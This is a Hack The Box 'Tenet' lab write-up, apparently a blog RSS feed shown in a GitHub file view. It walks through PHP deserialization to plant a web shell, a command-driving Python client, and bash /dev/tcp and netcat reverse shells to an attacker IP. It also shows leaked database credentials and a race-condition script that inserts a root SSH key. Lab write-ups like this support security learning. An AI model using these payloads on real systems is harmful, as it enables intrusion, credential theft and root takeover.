-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.xml
1228 lines (1199 loc) · 210 KB
/
index.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Wolf Den</title>
<link>http://0xnightwolf.github.io/</link>
<description>Recent content on The Wolf Den</description>
<generator>Hugo -- gohugo.io</generator>
<language>en-us</language>
<lastBuildDate>Tue, 22 Jun 2021 00:00:00 +0000</lastBuildDate>
<atom:link href="http://0xnightwolf.github.io/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>HTB Tenet</title>
<link>http://0xnightwolf.github.io/htb-writeups/tenet-writeup/</link>
<pubDate>Tue, 22 Jun 2021 00:00:00 +0000</pubDate>
<guid>http://0xnightwolf.github.io/htb-writeups/tenet-writeup/</guid>
<description><p><img src="http://0xnightwolf.github.io/img/tenet-logo.png"
alt/></p>
<p>Tenet starts off with a wordpress site. After some enumeration second domain is found and a PHP file vulnerable to object injection. From there, an attacker can get a shell, find credentials in a configuration file, and privesc to root by leveraging a race condition.</p>
<h2 id="enumeration">Enumeration</h2>
<p>NMAP shows port 22 is open for SSH and port 80 is running an HTTP server displaying the default apache2 page.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Starting Nmap 7.91 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2021-01-17 00:47 UTC
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.10.223
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.15s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed ports
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">2048</span> cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open http Apache httpd 2.4.29 <span style="color:#f92672">((</span>Ubuntu<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.29 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: Apache2 Ubuntu Default Page: It works
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 14.61 seconds
</span></span></code></pre></div><p>The default page doesn&rsquo;t give us a whole lot of info and there doesn&rsquo;t seem to be a robots.txt. FFUF or another directory brute forcer can be used to learn there is a wordpress directory.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffuf -u http://10.10.10.223/FUZZ -w /opt/dirbuster-wordlists/directory-list-2.3-medium.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /<span style="color:#e6db74">&#39;___\ /&#39;</span>___<span style="color:#ae81ff">\ </span> /<span style="color:#960050;background-color:#1e0010">&#39;</span>___<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> /<span style="color:#ae81ff">\ \_</span>_/ /<span style="color:#ae81ff">\ \_</span>_/ __ __ /<span style="color:#ae81ff">\ \_</span>_/
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">\ \ </span>,__<span style="color:#ae81ff">\\</span> <span style="color:#ae81ff">\ </span>,__<span style="color:#ae81ff">\/\ \/\ \ \ \ </span>,__<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> <span style="color:#ae81ff">\ \ \_</span>/ <span style="color:#ae81ff">\ \ \_</span>/<span style="color:#ae81ff">\ \ \_\ \ \ \ \_</span>/
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">\ \_\ </span> <span style="color:#ae81ff">\ \_\ </span> <span style="color:#ae81ff">\ \_</span>___/ <span style="color:#ae81ff">\ \_\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> <span style="color:#ae81ff">\/</span>_/ <span style="color:#ae81ff">\/</span>_/ <span style="color:#ae81ff">\/</span>___/ <span style="color:#ae81ff">\/</span>_/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v1.1.0
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> :: Method : GET
</span></span><span style="display:flex;"><span> :: URL : http://10.10.10.223/FUZZ
</span></span><span style="display:flex;"><span> :: Wordlist : FUZZ: /opt/dirbuster-wordlists/directory-list-2.3-medium.txt
</span></span><span style="display:flex;"><span> :: Follow redirects : false
</span></span><span style="display:flex;"><span> :: Calibration : false
</span></span><span style="display:flex;"><span> :: Timeout : <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span> :: Threads : <span style="color:#ae81ff">40</span>
</span></span><span style="display:flex;"><span> :: Matcher : Response status: 200,204,301,302,307,401,403
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span>Status: 200, Size: 10918, Words: 3499, Lines: 376<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> <span style="color:#f92672">[</span>Status: 200, Size: 1688, Words: 186, Lines: 43<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>wordpress <span style="color:#f92672">[</span>Status: 301, Size: 316, Words: 20, Lines: 10<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span>Status: 200, Size: 10918, Words: 3499, Lines: 376<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>server-status <span style="color:#f92672">[</span>Status: 403, Size: 277, Words: 20, Lines: 10<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>:: Progress: <span style="color:#f92672">[</span>220547/220547<span style="color:#f92672">]</span> :: Job <span style="color:#f92672">[</span>1/1<span style="color:#f92672">]</span> :: <span style="color:#ae81ff">276</span> req/sec :: Duration: <span style="color:#f92672">[</span>0:13:17<span style="color:#f92672">]</span> :: Errors: <span style="color:#ae81ff">0</span> ::
</span></span></code></pre></div><p>Adding <code>tenet.htb</code> to <code>/etc/hosts</code> will make it function better. Wordpress tends to want to redirect to a domain. There are a few articles talking about their newly coming services and mention of a site migration. On one post, there is a comment that references a &ldquo;sator.php&rdquo; file and a backup version of it. Seemingly, the site migration is incomplete.</p>
<p><img src="http://0xnightwolf.github.io/img/tenet-migrationcomment.png"
alt/></p>
<p>Sator dosent&rsquo; exist on this site this site. However, box might have multiple virtual hosts. That turns out to be the case. After <code>sator.tenet.htb</code> is added <code>/etc/hosts</code> a copy of the wordpress site seen found prior is accessible On this one, <code>sator.php</code> is present and more importantly, the aforementioned backup version of it, <code>sator.php.bak</code> is also accessible.</p>
<h2 id="foothold">Foothold</h2>
<p><img src="http://0xnightwolf.github.io/img/tenet-statorphpbak.png"
alt/></p>
<p><code>sator.php</code> takes input through the <code>arepo</code> parameter. That output is then deserialized. There is also a class that is called DatabaseExport that writes to a file Deseralizaiton can lead to some unintended results through object injection.</p>
<p>The <code>__destruct ()</code> function means PHP file can be leveraged to create object and from it a file. To pull this off, write a PHP file that mirrors sator.php but a bit different.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">DatabaseExport</span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> $user_file <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;users.txt&#39;</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> $data <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">update_db</span>()
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#39;[+] Grabbing users from text file &lt;br&gt;&#39;</span>;
</span></span><span style="display:flex;"><span> $this<span style="color:#f92672">-&gt;</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Sucess&#39;</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> __construct()
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">user_file</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;magic.php&#39;</span>;
</span></span><span style="display:flex;"><span> $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&lt;?php system(&#34;whoami&#34;); ?&gt;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$app <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">DatabaseExport</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#a6e22e">serialize</span>($app);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Instead of a <code>__destruct</code> a is used <code>__construct</code> and a few other items are changed as well. The output file is going to be called <code>magic.php</code> and the contents will be some simple PHP code to execute the <code>whomami</code> command.</p>
<p>Running the above file using <code>php file</code> and outputs the following.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span><span style="color:#a6e22e">O</span>:<span style="color:#ae81ff">14</span>:<span style="color:#e6db74">&#34;DatabaseExport&#34;</span>:<span style="color:#ae81ff">2</span>:{<span style="color:#a6e22e">s</span>:<span style="color:#ae81ff">9</span>:<span style="color:#e6db74">&#34;user_file&#34;</span>;<span style="color:#a6e22e">s</span>:<span style="color:#ae81ff">9</span>:<span style="color:#e6db74">&#34;magic.php&#34;</span>;<span style="color:#a6e22e">s</span>:<span style="color:#ae81ff">4</span>:<span style="color:#e6db74">&#34;data&#34;</span>;<span style="color:#a6e22e">s</span>:<span style="color:#ae81ff">26</span>:<span style="color:#e6db74">&#34;&lt;?php system(&#34;</span><span style="color:#a6e22e">whoami</span><span style="color:#e6db74">&#34;); ?&gt;&#34;</span>;}<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>This can be sent to the server using the <code>arepo</code> argument. Then a request can be made to <code>10.10.10.223/magic.php</code>. The response is <code>www-data</code>, showing code execution.</p>
<p><em>If you are interested in learning more about PHP deserialization attacks, IppSec has some awesome videos I referenced while working on this. <a href="https://youtu.be/JpzREo7XLOY?t=4174"target="_blank" rel="noopener noreferrer">Player 2 PHP deserialization to place an SSH key.</a>
and <a href="https://www.youtube.com/watch?v=HaW15aMzBUM"target="_blank" rel="noopener noreferrer">Intro to PHP deserialization</a>
</em></p>
<p>This is a bit clumsy though and there are some ways it can be nicened up.</p>
<p>First <code>whoami</code> can be changed to instead take the argument <code>c</code> from a get request and execute using the system function.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> <span style="color:#66d9ef">echo</span> <span style="color:#a6e22e">shell_exec</span>($_GET[<span style="color:#e6db74">&#39;c&#39;</span>]); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>That can be created on the Tenet with following.
<code>http://sator.tenet.htb/sator.php?arepo=O:14:&quot;DatabaseExport&quot;:2:{s:9:&quot;user_file&quot;;s:9:&quot;magic.php&quot;;s:4:&quot;data&quot;;s:37:&quot;&lt;?php echo shell_exec($_GET[&quot;c&quot;]); ?&gt;&quot;;}</code></p>
<p>This is very workable and requests can be sent with curl, burp, postman, or even just a web browser. But console applications are cool.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> readline
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>URI <span style="color:#f92672">=</span> input(<span style="color:#e6db74">&#34;Path to PHP shell. (http://example.site/file.php)</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;Sending commands to: &#34;</span> <span style="color:#f92672">+</span> URI)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span> command <span style="color:#f92672">=</span> input(<span style="color:#e6db74">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> command <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;exit&#39;</span>:
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span> r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(URI<span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;?c=&#34;</span> <span style="color:#f92672">+</span> command)
</span></span><span style="display:flex;"><span> print(r<span style="color:#f92672">.</span>text)
</span></span></code></pre></div><p>It&rsquo;s fairly simple in nature but it does give a way to send and receive commands a terminal like interface. Now that that is ready to go, it&rsquo;s time to get a proper reverse shell.</p>
<p>The old fallback of <code>basn -c 'bash -i &gt;&amp;/dev/tcp/&lt;ip&gt;/&lt;port&gt; 0&gt;&amp;1'</code> fails along with a similar one using netcat <code>nc -e /bin/sh &lt;ip&gt; &lt;port&gt;</code>. There is more than one way to send this payload though.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>basn -c <span style="color:#e6db74">&#39;bash -i &gt;&amp;/dev/tcp/10.10.14.36/5678 0&gt;&amp;1&#39;</span>
</span></span></code></pre></div><p>This file is created and saved, a python HTTP server is started in the same directory, and a netcat listener on port 5678. Then we go back to back to our &ldquo;terminal&rdquo; access for Tenet, wget the file, mark it as executable and run it. Right away the netcat listener get&rsquo;s a connection.</p>
<p><img src="http://0xnightwolf.github.io/img/tenet-properreverseshellsteps.png"
alt/></p>
<h2 id="user">User</h2>
<p>The CWD is wordpress home directory. Listing the files shows the <code>wp-config.php</code> file. Inside are credentials configured for interacting with the MySQL database. <code>neil:Opera2112</code>. Neil used the same password for their login allowing SSH access directory to the box.</p>
<p><img src="http://0xnightwolf.github.io/img/tenet-wp-configphp.png"
alt/></p>
<h2 id="root">Root</h2>
<p><img src="http://0xnightwolf.github.io/img/tenet-neilsudopermissions.png"
alt/></p>
<p>Via <code>sudo -l</code> Niel&rsquo;s sudo permissions can be checked. It turns it out they can run a script called<code>EnableSSH.sh</code> with root permissions.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>checkAdded<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> sshName<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>/bin/echo $key | /usr/bin/cut -d <span style="color:#e6db74">&#34; &#34;</span> -f 3<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> ! -z <span style="color:#66d9ef">$(</span>/bin/grep $sshName /root/.ssh/authorized_keys<span style="color:#66d9ef">)</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/echo <span style="color:#e6db74">&#34;Successfully added </span>$sshName<span style="color:#e6db74"> to authorized_keys file!&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/echo <span style="color:#e6db74">&#34;Error in adding </span>$sshName<span style="color:#e6db74"> to authorized_keys file!&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>checkFile<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> ! -s $1 <span style="color:#f92672">]]</span> <span style="color:#f92672">||</span> <span style="color:#f92672">[[</span> ! -f $1 <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/echo <span style="color:#e6db74">&#34;Error in creating key file!&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> -f $1 <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span> /bin/rm $1; <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>addKey<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> tmpName<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>mktemp -u /tmp/ssh-XXXXXXXX<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">(</span>umask 110; touch $tmpName<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/echo $key &gt;&gt;$tmpName
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> checkFile $tmpName
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/cat $tmpName &gt;&gt;/root/.ssh/authorized_keys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/rm $tmpName
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>key<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu&#34;</span>
</span></span><span style="display:flex;"><span>addKey
</span></span><span style="display:flex;"><span>checkAdded
</span></span></code></pre></div><p>The script is fairly simple in nature. First, it creates a temp file in <code>/tmp</code> and then it echos the root public root SSH key. Then it adds that file to the <code>/root/.ssh/authorized_keys</code> file and checks to make sure the key was added successfully.</p>
<p>This creates a race conidion. If that file is overwritten by a diffrent SSH key before it is added to <code>/root/.ssh/authorized_keys</code>, it would grant SSH access as the root user.</p>
<p>A simple bash can be used to check to check if the temp file has been created. If it has, it will be overwritten with a key key of our choosing. Place all this in a while loop and start it running.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> true; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">&#34;Checking for temp file...&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#66d9ef">$(</span> ls /tmp/ssh-* 2&gt;/dev/null <span style="color:#66d9ef">)</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">&#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6+U/U+EtFlAU/0QuXeMehQgipru8HqD+TOoGMoM8pON+Brgvr0ThHzSq14wSC6F8yZsHbHYgb7gVutcNsADD+mkl+aZn97385WgWxwYZdW6a8VRLCRFr9nLZhwGeBEJC33+GbKyn3P5flagzgdTlhSBeNxuIh1ahxhnunpEQO7x+J8vyP1ZzYbU2ukApurzkMbV3osD7ovKIKxHc9zbPLOT/907tpz0bT4K3PLsh2FTNjK7xhTNWbqO975+x0d/Ni3UIcmyEb6APTz2ipxqWELpw041Fj6uxzq9pRWLuMypV9vCP9smybu22yEClb4t4J3r63qFl+hpzEwcO8JS7gdhUI9oB7VxyrcjLM4/5MPCnW0faulAUnpspWMsaqun2OjJ1tQMtVJKT3WkUT/We6CPx6YigxnQgV6nUHW3qZ3ZCgvHRot8IRpCYA/fImMcWhuseX5dWGHOJtL641h43xI8AZPQylNkPepCzEa5vQ/b+tKaG7cWxjVD4jbgg4ZRk= root@ubuntu&#34;</span> &gt; /tmp/ssh-*
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">&#34;File found and overwritten&#34;</span>
</span></span><span style="display:flex;"><span> exit
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">&#34;File not found. Continuing.&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p><code>EnableSSH.sh</code> can then be run from another session. The Overwrite script reports it found and overwrote a file and <code>EnableSSH.sh</code> tells us the key was added successfully.</p>
<p><img src="http://0xnightwolf.github.io/img/tenet-fileoverwritten.png"
alt/></p>
<p>The private key matching the public key used in the script can then be used to SSH to Tenet with root permissions.</p>
<h2 id="wrap-up">Wrap Up</h2>
